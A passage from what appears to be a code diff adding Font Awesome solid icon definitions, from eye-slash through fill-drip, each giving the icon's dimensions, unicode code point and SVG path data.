0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z"], + "eye-slash": [640, 512, [], "f070", "M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"], + "fan": [512, 512, [], "f863", "M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"], + "fast-backward": [512, 512, [], "f049", "M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z"], + "fast-forward": [512, 512, [], "f050", "M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z"], + "faucet": [512, 512, [], "e005", "M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z"], + "fax": [512, 512, [], "f1ac", "M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z"], + "feather": [512, 512, [], "f52d", "M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z"], + "feather-alt": [512, 512, [], "f56b", "M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z"], + "female": [256, 512, [], "f182", "M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z"], + "fighter-jet": [640, 512, [], "f0fb", "M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z"], + "file": [384, 512, [], "f15b", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-alt": [384, 512, [], "f15c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-archive": [384, 512, [], "f1c6", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z"], + "file-audio": [384, 512, [], "f1c7", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-code": [384, 512, [], "f1c9", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z"], + "file-contract": [384, 512, [], "f56c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-csv": [384, 512, [], "f6dd", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-download": [384, 512, [], "f56d", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-excel": [384, 512, [], "f1c3", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-export": [576, 512, [], "f56e", "M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z"], + "file-image": [384, 512, [], "f1c5", "M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z"], + "file-import": [512, 512, [], "f56f", "M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z"], + "file-invoice": [384, 512, [], "f570", "M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z"], + "file-invoice-dollar": [384, 512, [], "f571", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z"], + "file-medical": [384, 512, [], "f477", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z"], + "file-medical-alt": [448, 512, [], "f478", "M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-pdf": [384, 512, [], "f1c1", "M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z"], + "file-powerpoint": [384, 512, [], "f1c4", "M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z"], + "file-prescription": [384, 512, [], "f572", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-signature": [576, 512, [], "f573", "M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z"], + "file-upload": [384, 512, [], "f574", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-video": [384, 512, [], "f1c8", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z"], + "file-word": [384, 512, [], "f1c2", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "fill": [512, 512, [], "f575", "M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z"], + "fill-drip": [576, 512, [], "f576", "M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 